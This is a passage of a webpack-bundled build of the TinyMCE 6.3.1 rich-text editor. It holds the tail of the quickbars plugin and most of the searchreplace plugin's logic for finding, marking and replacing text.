        } else {
          return onNone();
        }
      }
      isSome() {
        return this.tag;
      }
      isNone() {
        return !this.tag;
      }
      map(mapper) {
        if (this.tag) {
          return Optional.some(mapper(this.value));
        } else {
          return Optional.none();
        }
      }
      bind(binder) {
        if (this.tag) {
          return binder(this.value);
        } else {
          return Optional.none();
        }
      }
      exists(predicate) {
        return this.tag && predicate(this.value);
      }
      forall(predicate) {
        return !this.tag || predicate(this.value);
      }
      filter(predicate) {
        if (!this.tag || predicate(this.value)) {
          return this;
        } else {
          return Optional.none();
        }
      }
      getOr(replacement) {
        return this.tag ? this.value : replacement;
      }
      or(replacement) {
        return this.tag ? this : replacement;
      }
      getOrThunk(thunk) {
        return this.tag ? this.value : thunk();
      }
      orThunk(thunk) {
        return this.tag ? this : thunk();
      }
      getOrDie(message) {
        if (!this.tag) {
          throw new Error(message !== null && message !== void 0 ? message : 'Called getOrDie on None');
        } else {
          return this.value;
        }
      }
      static from(value) {
        return isNonNullable(value) ? Optional.some(value) : Optional.none();
      }
      getOrNull() {
        return this.tag ? this.value : null;
      }
      getOrUndefined() {
        return this.value;
      }
      each(worker) {
        if (this.tag) {
          worker(this.value);
        }
      }
      toArray() {
        return this.tag ? [this.value] : [];
      }
      toString() {
        return this.tag ? `some(${ this.value })` : 'none()';
      }
    }
    Optional.singletonNone = new Optional(false);

    typeof window !== 'undefined' ? window : Function('return this;')();

    const ELEMENT = 1;

    const name = element => {
      const r = element.dom.nodeName;
      return r.toLowerCase();
    };

    const has = (element, key) => {
      const dom = element.dom;
      return dom && dom.hasAttribute ? dom.hasAttribute(key) : false;
    };

    var ClosestOrAncestor = (is, ancestor, scope, a, isRoot) => {
      if (is(scope, a)) {
        return Optional.some(scope);
      } else if (isFunction(isRoot) && isRoot(scope)) {
        return Optional.none();
      } else {
        return ancestor(scope, a, isRoot);
      }
    };

    const fromHtml = (html, scope) => {
      const doc = scope || document;
      const div = doc.createElement('div');
      div.innerHTML = html;
      if (!div.hasChildNodes() || div.childNodes.length > 1) {
        const message = 'HTML does not have a single root node';
        console.error(message, html);
        throw new Error(message);
      }
      return fromDom(div.childNodes[0]);
    };
    const fromTag = (tag, scope) => {
      const doc = scope || document;
      const node = doc.createElement(tag);
      return fromDom(node);
    };
    const fromText = (text, scope) => {
      const doc = scope || document;
      const node = doc.createTextNode(text);
      return fromDom(node);
    };
    const fromDom = node => {
      if (node === null || node === undefined) {
        throw new Error('Node cannot be null or undefined');
      }
      return { dom: node };
    };
    const fromPoint = (docElm, x, y) => Optional.from(docElm.dom.elementFromPoint(x, y)).map(fromDom);
    const SugarElement = {
      fromHtml,
      fromTag,
      fromText,
      fromDom,
      fromPoint
    };

    const is = (element, selector) => {
      const dom = element.dom;
      if (dom.nodeType !== ELEMENT) {
        return false;
      } else {
        const elem = dom;
        if (elem.matches !== undefined) {
          return elem.matches(selector);
        } else if (elem.msMatchesSelector !== undefined) {
          return elem.msMatchesSelector(selector);
        } else if (elem.webkitMatchesSelector !== undefined) {
          return elem.webkitMatchesSelector(selector);
        } else if (elem.mozMatchesSelector !== undefined) {
          return elem.mozMatchesSelector(selector);
        } else {
          throw new Error('Browser lacks native selectors');
        }
      }
    };

    const ancestor$1 = (scope, predicate, isRoot) => {
      let element = scope.dom;
      const stop = isFunction(isRoot) ? isRoot : never;
      while (element.parentNode) {
        element = element.parentNode;
        const el = SugarElement.fromDom(element);
        if (predicate(el)) {
          return Optional.some(el);
        } else if (stop(el)) {
          break;
        }
      }
      return Optional.none();
    };
    const closest$2 = (scope, predicate, isRoot) => {
      const is = (s, test) => test(s);
      return ClosestOrAncestor(is, ancestor$1, scope, predicate, isRoot);
    };

    const closest$1 = (scope, predicate, isRoot) => closest$2(scope, predicate, isRoot).isSome();

    const ancestor = (scope, selector, isRoot) => ancestor$1(scope, e => is(e, selector), isRoot);
    const closest = (scope, selector, isRoot) => {
      const is$1 = (element, selector) => is(element, selector);
      return ClosestOrAncestor(is$1, ancestor, scope, selector, isRoot);
    };

    const addToEditor$1 = editor => {
      const insertToolbarItems = getInsertToolbarItems(editor);
      if (insertToolbarItems.length > 0) {
        editor.ui.registry.addContextToolbar('quickblock', {
          predicate: node => {
            const sugarNode = SugarElement.fromDom(node);
            const textBlockElementsMap = editor.schema.getTextBlockElements();
            const isRoot = elem => elem.dom === editor.getBody();
            return !has(sugarNode, 'data-mce-bogus') && closest(sugarNode, 'table,[data-mce-bogus="all"]', isRoot).fold(() => closest$1(sugarNode, elem => name(elem) in textBlockElementsMap && editor.dom.isEmpty(elem.dom), isRoot), never);
          },
          items: insertToolbarItems,
          position: 'line',
          scope: 'editor'
        });
      }
    };

    const addToEditor = editor => {
      const isEditable = node => editor.dom.getContentEditableParent(node) !== 'false';
      const isImage = node => node.nodeName === 'IMG' || node.nodeName === 'FIGURE' && /image/i.test(node.className);
      const imageToolbarItems = getImageToolbarItems(editor);
      if (imageToolbarItems.length > 0) {
        editor.ui.registry.addContextToolbar('imageselection', {
          predicate: isImage,
          items: imageToolbarItems,
          position: 'node'
        });
      }
      const textToolbarItems = getTextSelectionToolbarItems(editor);
      if (textToolbarItems.length > 0) {
        editor.ui.registry.addContextToolbar('textselection', {
          predicate: node => !isImage(node) && !editor.selection.isCollapsed() && isEditable(node),
          items: textToolbarItems,
          position: 'selection',
          scope: 'editor'
        });
      }
    };

    var Plugin = () => {
      global$2.add('quickbars', editor => {
        register(editor);
        setupButtons(editor);
        addToEditor$1(editor);
        addToEditor(editor);
      });
    };

    Plugin();

})();


/***/ }),
/* 25 */
/***/ ((__unused_webpack_module, __unused_webpack_exports, __webpack_require__) => {

// Exports the "searchreplace" plugin for usage with module loaders
// Usage:
//   CommonJS:
//     require('tinymce/plugins/searchreplace')
//   ES2015:
//     import 'tinymce/plugins/searchreplace'
__webpack_require__(26);

/***/ }),
/* 26 */
/***/ (() => {

/**
 * TinyMCE version 6.3.1 (2022-12-06)
 */

(function () {
    'use strict';

    const Cell = initial => {
      let value = initial;
      const get = () => {
        return value;
      };
      const set = v => {
        value = v;
      };
      return {
        get,
        set
      };
    };

    var global$3 = tinymce.util.Tools.resolve('tinymce.PluginManager');

    const hasProto = (v, constructor, predicate) => {
      var _a;
      if (predicate(v, constructor.prototype)) {
        return true;
      } else {
        return ((_a = v.constructor) === null || _a === void 0 ? void 0 : _a.name) === constructor.name;
      }
    };
    const typeOf = x => {
      const t = typeof x;
      if (x === null) {
        return 'null';
      } else if (t === 'object' && Array.isArray(x)) {
        return 'array';
      } else if (t === 'object' && hasProto(x, String, (o, proto) => proto.isPrototypeOf(o))) {
        return 'string';
      } else {
        return t;
      }
    };
    const isType$1 = type => value => typeOf(value) === type;
    const isSimpleType = type => value => typeof value === type;
    const isString = isType$1('string');
    const isArray = isType$1('array');
    const isBoolean = isSimpleType('boolean');
    const isNullable = a => a === null || a === undefined;
    const isNonNullable = a => !isNullable(a);
    const isNumber = isSimpleType('number');

    const noop = () => {
    };
    const constant = value => {
      return () => {
        return value;
      };
    };
    const always = constant(true);

    const punctuationStr = '[!-#%-*,-\\/:;?@\\[-\\]_{}\xA1\xAB\xB7\xBB\xBF;\xB7\u055A-\u055F\u0589\u058A\u05BE\u05C0\u05C3\u05C6\u05F3\u05F4\u0609\u060A\u060C\u060D\u061B\u061E\u061F\u066A-\u066D\u06D4\u0700-\u070D\u07F7-\u07F9\u0830-\u083E\u085E\u0964\u0965\u0970\u0DF4\u0E4F\u0E5A\u0E5B\u0F04-\u0F12\u0F3A-\u0F3D\u0F85\u0FD0-\u0FD4\u0FD9\u0FDA\u104A-\u104F\u10FB\u1361-\u1368\u1400\u166D\u166E\u169B\u169C\u16EB-\u16ED\u1735\u1736\u17D4-\u17D6\u17D8-\u17DA\u1800-\u180A\u1944\u1945\u1A1E\u1A1F\u1AA0-\u1AA6\u1AA8-\u1AAD\u1B5A-\u1B60\u1BFC-\u1BFF\u1C3B-\u1C3F\u1C7E\u1C7F\u1CD3\u2010-\u2027\u2030-\u2043\u2045-\u2051\u2053-\u205E\u207D\u207E\u208D\u208E\u3008\u3009\u2768-\u2775\u27C5\u27C6\u27E6-\u27EF\u2983-\u2998\u29D8-\u29DB\u29FC\u29FD\u2CF9-\u2CFC\u2CFE\u2CFF\u2D70\u2E00-\u2E2E\u2E30\u2E31\u3001-\u3003\u3008-\u3011\u3014-\u301F\u3030\u303D\u30A0\u30FB\uA4FE\uA4FF\uA60D-\uA60F\uA673\uA67E\uA6F2-\uA6F7\uA874-\uA877\uA8CE\uA8CF\uA8F8-\uA8FA\uA92E\uA92F\uA95F\uA9C1-\uA9CD\uA9DE\uA9DF\uAA5C-\uAA5F\uAADE\uAADF\uABEB\uFD3E\uFD3F\uFE10-\uFE19\uFE30-\uFE52\uFE54-\uFE61\uFE63\uFE68\uFE6A\uFE6B\uFF01-\uFF03\uFF05-\uFF0A\uFF0C-\uFF0F\uFF1A\uFF1B\uFF1F\uFF20\uFF3B-\uFF3D\uff3f\uFF5B\uFF5D\uFF5F-\uFF65]';

    const punctuation$1 = constant(punctuationStr);

    class Optional {
      constructor(tag, value) {
        this.tag = tag;
        this.value = value;
      }
      static some(value) {
        return new Optional(true, value);
      }
      static none() {
        return Optional.singletonNone;
      }
      fold(onNone, onSome) {
        if (this.tag) {
          return onSome(this.value);
        } else {
          return onNone();
        }
      }
      isSome() {
        return this.tag;
      }
      isNone() {
        return !this.tag;
      }
      map(mapper) {
        if (this.tag) {
          return Optional.some(mapper(this.value));
        } else {
          return Optional.none();
        }
      }
      bind(binder) {
        if (this.tag) {
          return binder(this.value);
        } else {
          return Optional.none();
        }
      }
      exists(predicate) {
        return this.tag && predicate(this.value);
      }
      forall(predicate) {
        return !this.tag || predicate(this.value);
      }
      filter(predicate) {
        if (!this.tag || predicate(this.value)) {
          return this;
        } else {
          return Optional.none();
        }
      }
      getOr(replacement) {
        return this.tag ? this.value : replacement;
      }
      or(replacement) {
        return this.tag ? this : replacement;
      }
      getOrThunk(thunk) {
        return this.tag ? this.value : thunk();
      }
      orThunk(thunk) {
        return this.tag ? this : thunk();
      }
      getOrDie(message) {
        if (!this.tag) {
          throw new Error(message !== null && message !== void 0 ? message : 'Called getOrDie on None');
        } else {
          return this.value;
        }
      }
      static from(value) {
        return isNonNullable(value) ? Optional.some(value) : Optional.none();
      }
      getOrNull() {
        return this.tag ? this.value : null;
      }
      getOrUndefined() {
        return this.value;
      }
      each(worker) {
        if (this.tag) {
          worker(this.value);
        }
      }
      toArray() {
        return this.tag ? [this.value] : [];
      }
      toString() {
        return this.tag ? `some(${ this.value })` : 'none()';
      }
    }
    Optional.singletonNone = new Optional(false);

    const punctuation = punctuation$1;

    var global$2 = tinymce.util.Tools.resolve('tinymce.Env');

    var global$1 = tinymce.util.Tools.resolve('tinymce.util.Tools');

    const nativeSlice = Array.prototype.slice;
    const nativePush = Array.prototype.push;
    const map = (xs, f) => {
      const len = xs.length;
      const r = new Array(len);
      for (let i = 0; i < len; i++) {
        const x = xs[i];
        r[i] = f(x, i);
      }
      return r;
    };
    const each = (xs, f) => {
      for (let i = 0, len = xs.length; i < len; i++) {
        const x = xs[i];
        f(x, i);
      }
    };
    const eachr = (xs, f) => {
      for (let i = xs.length - 1; i >= 0; i--) {
        const x = xs[i];
        f(x, i);
      }
    };
    const groupBy = (xs, f) => {
      if (xs.length === 0) {
        return [];
      } else {
        let wasType = f(xs[0]);
        const r = [];
        let group = [];
        for (let i = 0, len = xs.length; i < len; i++) {
          const x = xs[i];
          const type = f(x);
          if (type !== wasType) {
            r.push(group);
            group = [];
          }
          wasType = type;
          group.push(x);
        }
        if (group.length !== 0) {
          r.push(group);
        }
        return r;
      }
    };
    const foldl = (xs, f, acc) => {
      each(xs, (x, i) => {
        acc = f(acc, x, i);
      });
      return acc;
    };
    const flatten = xs => {
      const r = [];
      for (let i = 0, len = xs.length; i < len; ++i) {
        if (!isArray(xs[i])) {
          throw new Error('Arr.flatten item ' + i + ' was not an array, input: ' + xs);
        }
        nativePush.apply(r, xs[i]);
      }
      return r;
    };
    const bind = (xs, f) => flatten(map(xs, f));
    const sort = (xs, comparator) => {
      const copy = nativeSlice.call(xs, 0);
      copy.sort(comparator);
      return copy;
    };

    const hasOwnProperty = Object.hasOwnProperty;
    const has = (obj, key) => hasOwnProperty.call(obj, key);

    typeof window !== 'undefined' ? window : Function('return this;')();

    const DOCUMENT = 9;
    const DOCUMENT_FRAGMENT = 11;
    const ELEMENT = 1;
    const TEXT = 3;

    const type = element => element.dom.nodeType;
    const isType = t => element => type(element) === t;
    const isText$1 = isType(TEXT);

    const rawSet = (dom, key, value) => {
      if (isString(value) || isBoolean(value) || isNumber(value)) {
        dom.setAttribute(key, value + '');
      } else {
        console.error('Invalid call to Attribute.set. Key ', key, ':: Value ', value, ':: Element ', dom);
        throw new Error('Attribute value was not simple');
      }
    };
    const set = (element, key, value) => {
      rawSet(element.dom, key, value);
    };

    const fromHtml = (html, scope) => {
      const doc = scope || document;
      const div = doc.createElement('div');
      div.innerHTML = html;
      if (!div.hasChildNodes() || div.childNodes.length > 1) {
        const message = 'HTML does not have a single root node';
        console.error(message, html);
        throw new Error(message);
      }
      return fromDom(div.childNodes[0]);
    };
    const fromTag = (tag, scope) => {
      const doc = scope || document;
      const node = doc.createElement(tag);
      return fromDom(node);
    };
    const fromText = (text, scope) => {
      const doc = scope || document;
      const node = doc.createTextNode(text);
      return fromDom(node);
    };
    const fromDom = node => {
      if (node === null || node === undefined) {
        throw new Error('Node cannot be null or undefined');
      }
      return { dom: node };
    };
    const fromPoint = (docElm, x, y) => Optional.from(docElm.dom.elementFromPoint(x, y)).map(fromDom);
    const SugarElement = {
      fromHtml,
      fromTag,
      fromText,
      fromDom,
      fromPoint
    };

    const bypassSelector = dom => dom.nodeType !== ELEMENT && dom.nodeType !== DOCUMENT && dom.nodeType !== DOCUMENT_FRAGMENT || dom.childElementCount === 0;
    const all = (selector, scope) => {
      const base = scope === undefined ? document : scope.dom;
      return bypassSelector(base) ? [] : map(base.querySelectorAll(selector), SugarElement.fromDom);
    };

    const parent = element => Optional.from(element.dom.parentNode).map(SugarElement.fromDom);
    const children = element => map(element.dom.childNodes, SugarElement.fromDom);
    const spot = (element, offset) => ({
      element,
      offset
    });
    const leaf = (element, offset) => {
      const cs = children(element);
      return cs.length > 0 && offset < cs.length ? spot(cs[offset], 0) : spot(element, offset);
    };

    const before = (marker, element) => {
      const parent$1 = parent(marker);
      parent$1.each(v => {
        v.dom.insertBefore(element.dom, marker.dom);
      });
    };
    const append = (parent, element) => {
      parent.dom.appendChild(element.dom);
    };
    const wrap = (element, wrapper) => {
      before(element, wrapper);
      append(wrapper, element);
    };

    const NodeValue = (is, name) => {
      const get = element => {
        if (!is(element)) {
          throw new Error('Can only get ' + name + ' value of a ' + name + ' node');
        }
        return getOption(element).getOr('');
      };
      const getOption = element => is(element) ? Optional.from(element.dom.nodeValue) : Optional.none();
      const set = (element, value) => {
        if (!is(element)) {
          throw new Error('Can only set raw ' + name + ' value of a ' + name + ' node');
        }
        element.dom.nodeValue = value;
      };
      return {
        get,
        getOption,
        set
      };
    };

    const api = NodeValue(isText$1, 'text');
    const get$1 = element => api.get(element);

    const compareDocumentPosition = (a, b, match) => {
      return (a.compareDocumentPosition(b) & match) !== 0;
    };
    const documentPositionPreceding = (a, b) => {
      return compareDocumentPosition(a, b, Node.DOCUMENT_POSITION_PRECEDING);
    };

    const descendants = (scope, selector) => all(selector, scope);

    var global = tinymce.util.Tools.resolve('tinymce.dom.TreeWalker');

    const isSimpleBoundary = (dom, node) => dom.isBlock(node) || has(dom.schema.getVoidElements(), node.nodeName);
    const isContentEditableFalse = (dom, node) => dom.getContentEditable(node) === 'false';
    const isContentEditableTrueInCef = (dom, node) => dom.getContentEditable(node) === 'true' && node.parentNode && dom.getContentEditableParent(node.parentNode) === 'false';
    const isHidden = (dom, node) => !dom.isBlock(node) && has(dom.schema.getWhitespaceElements(), node.nodeName);
    const isBoundary = (dom, node) => isSimpleBoundary(dom, node) || isContentEditableFalse(dom, node) || isHidden(dom, node) || isContentEditableTrueInCef(dom, node);
    const isText = node => node.nodeType === 3;
    const nuSection = () => ({
      sOffset: 0,
      fOffset: 0,
      elements: []
    });
    const toLeaf = (node, offset) => leaf(SugarElement.fromDom(node), offset);
    const walk = (dom, walkerFn, startNode, callbacks, endNode, skipStart = true) => {
      let next = skipStart ? walkerFn(false) : startNode;
      while (next) {
        const isCefNode = isContentEditableFalse(dom, next);
        if (isCefNode || isHidden(dom, next)) {
          const stopWalking = isCefNode ? callbacks.cef(next) : callbacks.boundary(next);
          if (stopWalking) {
            break;
          } else {
            next = walkerFn(true);
            continue;
          }
        } else if (isSimpleBoundary(dom, next)) {
          if (callbacks.boundary(next)) {
            break;
          }
        } else if (isText(next)) {
          callbacks.text(next);
        }
        if (next === endNode) {
          break;
        } else {
          next = walkerFn(false);
        }
      }
    };
    const collectTextToBoundary = (dom, section, node, rootNode, forwards) => {
      var _a;
      if (isBoundary(dom, node)) {
        return;
      }
      const rootBlock = (_a = dom.getParent(rootNode, dom.isBlock)) !== null && _a !== void 0 ? _a : dom.getRoot();
      const walker = new global(node, rootBlock);
      const walkerFn = forwards ? walker.next.bind(walker) : walker.prev.bind(walker);
      walk(dom, walkerFn, node, {
        boundary: always,
        cef: always,
        text: next => {
          if (forwards) {
            section.fOffset += next.length;
          } else {
            section.sOffset += next.length;
          }
          section.elements.push(SugarElement.fromDom(next));
        }
      });
    };
    const collect = (dom, rootNode, startNode, endNode, callbacks, skipStart = true) => {
      const walker = new global(startNode, rootNode);
      const sections = [];
      let current = nuSection();
      collectTextToBoundary(dom, current, startNode, rootNode, false);
      const finishSection = () => {
        if (current.elements.length > 0) {
          sections.push(current);
          current = nuSection();
        }
        return false;
      };
      walk(dom, walker.next.bind(walker), startNode, {
        boundary: finishSection,
        cef: node => {
          finishSection();
          if (callbacks) {
            sections.push(...callbacks.cef(node));
          }
          return false;
        },
        text: next => {
          current.elements.push(SugarElement.fromDom(next));
          if (callbacks) {
            callbacks.text(next, current);
          }
        }
      }, endNode, skipStart);
      if (endNode) {
        collectTextToBoundary(dom, current, endNode, rootNode, true);
      }
      finishSection();
      return sections;
    };
    const collectRangeSections = (dom, rng) => {
      const start = toLeaf(rng.startContainer, rng.startOffset);
      const startNode = start.element.dom;
      const end = toLeaf(rng.endContainer, rng.endOffset);
      const endNode = end.element.dom;
      return collect(dom, rng.commonAncestorContainer, startNode, endNode, {
        text: (node, section) => {
          if (node === endNode) {
            section.fOffset += node.length - end.offset;
          } else if (node === startNode) {
            section.sOffset += start.offset;
          }
        },
        cef: node => {
          const sections = bind(descendants(SugarElement.fromDom(node), '*[contenteditable=true]'), e => {
            const ceTrueNode = e.dom;
            return collect(dom, ceTrueNode, ceTrueNode);
          });
          return sort(sections, (a, b) => documentPositionPreceding(a.elements[0].dom, b.elements[0].dom) ? 1 : -1);
        }
      }, false);
    };
    const fromRng = (dom, rng) => rng.collapsed ? [] : collectRangeSections(dom, rng);
    const fromNode = (dom, node) => {
      const rng = dom.createRng();
      rng.selectNode(node);
      return fromRng(dom, rng);
    };
    const fromNodes = (dom, nodes) => bind(nodes, node => fromNode(dom, node));

    const find$2 = (text, pattern, start = 0, finish = text.length) => {
      const regex = pattern.regex;
      regex.lastIndex = start;
      const results = [];
      let match;
      while (match = regex.exec(text)) {
        const matchedText = match[pattern.matchIndex];
        const matchStart = match.index + match[0].indexOf(matchedText);
        const matchFinish = matchStart + matchedText.length;
        if (matchFinish > finish) {
          break;
        }
        results.push({
          start: matchStart,
          finish: matchFinish
        });
        regex.lastIndex = matchFinish;
      }
      return results;
    };
    const extract = (elements, matches) => {
      const nodePositions = foldl(elements, (acc, element) => {
        const content = get$1(element);
        const start = acc.last;
        const finish = start + content.length;
        const positions = bind(matches, (match, matchIdx) => {
          if (match.start < finish && match.finish > start) {
            return [{
                element,
                start: Math.max(start, match.start) - start,
                finish: Math.min(finish, match.finish) - start,
                matchId: matchIdx
              }];
          } else {
            return [];
          }
        });
        return {
          results: acc.results.concat(positions),
          last: finish
        };
      }, {
        results: [],
        last: 0
      }).results;
      return groupBy(nodePositions, position => position.matchId);
    };

    const find$1 = (pattern, sections) => bind(sections, section => {
      const elements = section.elements;
      const content = map(elements, get$1).join('');
      const positions = find$2(content, pattern, section.sOffset, content.length - section.fOffset);
      return extract(elements, positions);
    });
    const mark = (matches, replacementNode) => {
      eachr(matches, (match, idx) => {
        eachr(match, pos => {
          const wrapper = SugarElement.fromDom(replacementNode.cloneNode(false));
          set(wrapper, 'data-mce-index', idx);
          const textNode = pos.element.dom;
          if (textNode.length === pos.finish && pos.start === 0) {
            wrap(pos.element, wrapper);
          } else {
            if (textNode.length !== pos.finish) {
              textNode.splitText(pos.finish);
            }
            const matchNode = textNode.splitText(pos.start);
            wrap(SugarElement.fromDom(matchNode), wrapper);
          }
        });
      });
    };
    const findAndMark = (dom, pattern, node, replacementNode) => {
      const textSections = fromNode(dom, node);
      const matches = find$1(pattern, textSections);
      mark(matches, replacementNode);
      return matches.length;
    };
    const findAndMarkInSelection = (dom, pattern, selection, replacementNode) => {
      const bookmark = selection.getBookmark();
      const nodes = dom.select('td[data-mce-selected],th[data-mce-selected]');
      const textSections = nodes.length > 0 ? fromNodes(dom, nodes) : fromRng(dom, selection.getRng());
      const matches = find$1(pattern, textSections);
      mark(matches, replacementNode);
      selection.moveToBookmark(bookmark);
      return matches.length;
    };

    const getElmIndex = elm => {
      return elm.getAttribute('data-mce-index');
    };
    const markAllMatches = (editor, currentSearchState, pattern, inSelection) => {
      const marker = editor.dom.create('span', { 'data-mce-bogus': 1 });
      marker.className = 'mce-match-marker';
      const node = editor.getBody();
      done(editor, currentSearchState, false);
      if (inSelection) {
        return findAndMarkInSelection(editor.dom, pattern, editor.selection, marker);
      } else {
        return findAndMark(editor.dom, pattern, node, marker);
      }
    };
    const unwrap = node => {
      var _a;
      const parentNode = node.parentNode;
      if (node.firstChild) {
        parentNode.insertBefore(node.firstChild, node);
      }
      (_a = node.parentNode) === null || _a === void 0 ? void 0 : _a.removeChild(node);
    };
    const findSpansByIndex = (editor, index) => {
      const spans = [];
      const nodes = global$1.toArray(editor.getBody().getElementsByTagName('span'));
      if (nodes.length) {
        for (let i = 0; i < nodes.length; i++) {
          const nodeIndex = getElmIndex(nodes[i]);
          if (nodeIndex === null || !nodeIndex.length) {
            continue;
          }
          if (nodeIndex === index.toString()) {
            spans.push(nodes[i]);
          }
        }
      }
      return spans;
    };
    const moveSelection = (editor, currentSearchState, forward) => {
      const searchState = currentSearchState.get();
      let testIndex = searchState.index;
      const dom = editor.dom;
      if (forward) {
        if (testIndex + 1 === searchState.count) {
          testIndex = 0;
        } else {
          testIndex++;
        }
      } else {
        if (testIndex - 1 === -1) {
          testIndex = searchState.count - 1;
        } else {
          testIndex--;
        }
      }
      dom.removeClass(findSpansByIndex(editor, searchState.index), 'mce-match-marker-selected');
      const spans = findSpansByIndex(editor, testIndex);
      if (spans.length) {
        dom.addClass(findSpansByIndex(editor, testIndex), 'mce-match-marker-selected');
        editor.selection.scrollIntoView(spans[0]);
        return testIndex;
      }
      return -1;
    };
    const removeNode = (dom, node) => {
      const parent = node.parentNode;
      dom.remove(node);
      if (parent && dom.isEmpty(parent)) {
        dom.remove(parent);
      }
    };
    const escapeSearchText = (text, wholeWord) => {
      const escapedText = text.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g, '\\$&').replace(/\s/g, '[^\\S\\r\\n\\uFEFF]');
      const wordRegex = '(' + escapedText + ')';
      return wholeWord ? `(?:^|\\s|${ punctuation() })` + wordRegex + `(?=$|\\s|${ punctuation() })` : wordRegex;
    };
    const find = (editor, currentSearchState, text, matchCase, wholeWord, inSelection) => {
      const selection = editor.selection;
      const escapedText = escapeSearchText(text, wholeWord);
      const isForwardSelection = selection.isForward();
      const pattern = {
        regex: new RegExp(escapedText, matchCase ? 'g' : 'gi'),
        matchIndex: 1
      };
      const count = markAllMatches(editor, currentSearchState, pattern, inSelection);
      if (global$2.browser.isSafari()) {
        selection.setRng(selection.getRng(), isForwardSelection);
      }
      if (count) {
        const newIndex = moveSelection(editor, currentSearchState, true);
        currentSearchState.set({
          index: newIndex,
          count,
          text,
          matchCase,
          wholeWord,
          inSelection
        });
      }
      return count;
    };
    const next = (editor, currentSearchState) => {
      const index = moveSelection(editor, currentSearchState, true);
      currentSearchState.set({
        ...currentSearchState.get(),
        index
      });
    };
    const prev = (editor, currentSearchState) => {
      const index = moveSelection(editor, currentSearchState, false);
      currentSearchState.set({
        ...currentSearchState.get(),
        index
      });
    };
    const isMatchSpan = node => {
      const matchIndex = getElmIndex(node);
      return matchIndex !== null && matchIndex.length > 0;
    };
    const replace = (editor, currentSearchState, text, forward, all) => {
      const searchState = currentSearchState.get();
      const currentIndex = searchState.index;
      let currentMatchIndex, nextIndex = currentIndex;
      forward = forward !== false;
      const node = editor.getBody();
      const nodes = global$1.grep(global$1.toArray(node.getElementsByTagName('span')), isMatchSpan);
      for (let i = 0; i < nodes.length; i++) {
        const nodeIndex = getElmIndex(nodes[i]);
        let matchIndex = currentMatchIndex = parseInt(nodeIndex, 10);
        if (all || matchIndex === searchState.index) {
          if (text.length) {
            nodes[i].innerText = text;
            unwrap(nodes[i]);
          } else {
            removeNode(editor.dom, nodes[i]);
          }
          while (nodes[++i]) {
            matchIndex = parseInt(getElmIndex(nodes[i]), 10);
            if (matchIndex === currentMatchIndex) {
              removeNode(editor.dom, nodes[i]);
            } else {
              i--;
              break;
            }
          }
          if (forward) {
            nextIndex--;
          }
        } else if (currentMatchIndex > currentIndex) {
          nodes[i].setAttribute('data-mce-index', String(currentMatchIndex - 1));
        }
      }
      currentSearchState.set({
        ...searchState,
        count: all ? 0 : searchState.count - 1,
        index: nextIndex
      });
      if (forward) {
        next(editor, currentSearchState);
      } else {
        prev(editor, currentSearchState);
      }
      return !all && currentSearchState.get().count > 0;
    };
    const done = (editor, currentSearchState, keepEditorSelection) => {
      let startContainer;
      let endContainer;
      const searchState = currentSearchState.get();
      const nodes = global$1.toArray(editor.getBody().getElementsByTagName('span'));
      for (let i = 0; i < nodes.length; i++) {
        const nodeIndex = getElmIndex(nodes[i]);
        if (nodeIndex !== null && nodeIndex.length) {
          if (nodeIndex === searchState.index.toString()) {
            if (!startContainer) {
              startContainer = nodes[i].firstChild;
            }
            endContainer = nodes[i].firstChild;
          }
          unwrap(nodes[i]);
        }
      }
      currentSearchState.set({
        ...searchState,
        index: -1,
        count: 0,
        text: ''
      });
      if (startContainer && endContainer) {
        const rng = editor.dom.createRng();
        rng.setStart(startContainer, 0);
        rng.setEnd(endContainer, endContainer.data.length);
        if (keepEditorSelection !== false) {
          editor.selection.setRng(rng);
        }
        return rng;
      } else {
        return undefined;
      }
    };
    const hasNext = (editor, currentSearchState) => currentSearchState.get().count > 1;
    const hasPrev = (editor, currentSearchState) => currentSearchState.get().count > 1;

    const get = (editor, currentState) => {
      const done$1 = keepEditorSelection => {
        return done(editor, currentState, keepEditorSelection);
      };
      const find$1 = (text, matchCase, wholeWord, inSelection = false) => {
        return find(editor, currentState, text, matchCase, wholeWord, inSelection);
      };
      const next$1 = () => {
        return next(editor, currentState);
      };
      const prev$1 = () => {
        return prev(editor, currentState);
      };
      const replace$1 = (text, forward, all) => {
        return replace(editor, currentState, text, forward, all);
      };
      return {
        done: done$1,
        find: find$1,
        next: next$1,
        prev: prev$1,
        replace: replace$1
      };
    };

    const singleton = doRevoke => {
      const subject = Cell(Optional.none());
      const revoke = () => subject.get().each(doRevoke);
      const clear = () => {
        revoke();
        subject.set(Optional.none());
      };
      const isSet = () => subject.get().isSome();
      const get = () => subject.get();
      const set = s => {
        revoke();
        subject.set(Optional.some(s));
      };
      return {
        clear,
        isSet,
        get,
        set
      };
    };
    const value = () => {
      const subject = singleton(noop);
      const on = f => subject.get().each(f);
      return {
        ...subject,
        on
      };
    };

    const open = (editor, currentSearchState) => {
      const dialogApi = value();
      editor.undoManager.add();
      const selectedText = global$1.trim(editor.selection.getContent({ format: 'text' }));
      const updateButtonStates = api => {
        api.setEnabled('next', hasNext(editor, currentSearchState));
        api.setEnabled('prev', hasPrev(editor, currentSearchState));
      };
      const updateSearchState = api => {
        const data = api.getData();
        const current = currentSearchState.get();
        currentSearchState.set({
          ...current,
          matchCase: data.matchcase,
          wholeWord: data.wholewords,
          inSelection: data.inselection
        });
      };
      const disableAll = (api, disable) => {
        const buttons = [
          'replace',
          'replaceall',
          'prev',
          'next'
        ];
        const toggle = name => api.setEnabled(name, !disable);
        each(buttons, toggle);
      };
      const notFoundAlert = api => {
        editor.windowManager.alert('Could not find the specified string.', () => {
          api.focus('findtext');
        });
      };
      const focusButtonIfRequired = (api, name) => {
        if (global$2.browser.isSafari() && global$2.deviceType.isTouch() && (name === 'find' || name === 'replace' || name === 'replaceall')) {
          api.focus(name);
        }
      };
      const reset = api => {
        done(editor, currentSearchState, false);
        disableAll(api, true);
        updateButtonStates(api);
      };
      const doFind = api => {
        const data = api.getData();
        const last = currentSearchState.get();
        if (!data.findtext.length) {
          reset(api);
          return;
        }
        if (last.text === data.findtext && last.matchCase === data.matchcase && last.wholeWord === data.wholewords) {
          next(editor, currentSearchState);
        } else {
          const count = find(editor, currentSearchState, data.findtext, data.matchcase, data.wholewords, data.inselection);
          if (count <= 0) {
            notFoundAlert(api);
          }
          disableAll(api, count === 0);
        }
        updateButtonStates(api);
      };
      const initialState = currentSearchState.get();
      const initialData = {
        findtext: selectedText,
        replacetext: '',
        wholewords: initialState.wholeWord,
        matchcase: initialState.matchCase,
        inselection: initialState.inSelection
      };
      const spec = {
        title: 'Find and Replace',
